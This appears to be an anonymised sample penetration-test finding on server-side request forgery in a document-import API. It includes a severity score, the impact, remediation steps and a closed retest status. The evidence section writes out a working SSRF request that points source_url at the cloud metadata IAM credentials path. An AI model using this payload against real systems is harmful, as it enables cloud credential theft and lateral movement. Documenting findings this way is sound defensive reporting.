Sample · Anonymised · FND-002
Server-side request forgery in document-import flow
CVSS v3.1
8.6
Vector
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE
CWE-918
OWASP
A10:2021 / API7:2023
Business Impact
An authenticated low-privilege user can coerce the import worker into reaching the cloud metadata service, exposing a path to IAM credential theft and lateral movement into the customer's cloud account.
Affected Endpoint
Reproducible Evidence
Sample request — anonymised host, redacted token
POST /api/v2/documents/import HTTP/1.1
Host: app.example-sample.test
Authorization: Bearer eyJhbGc[...]REDACTED
Content-Type: application/json
{ "source_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }Sample response — IAM role name returned (redacted)
HTTP/1.1 200 OK
Content-Type: application/json
{ "status": "imported", "preview": "ec2-app-worker-role-REDACTED\n" }Remediation Steps
- Validate the source_url against an allow-list of approved external hostnames before fetching.
- Deny outbound requests to RFC1918 ranges, link-local (169.254.0.0/16), and the cloud metadata service from the import worker.
- Use IMDSv2 with hop-limit 1 on the underlying EC2 / equivalent compute to defeat unauthenticated metadata access.
- Add a regression test that asserts the import endpoint refuses metadata-style URLs.
Retest Status
Closed — re-validated 22 days post-remediation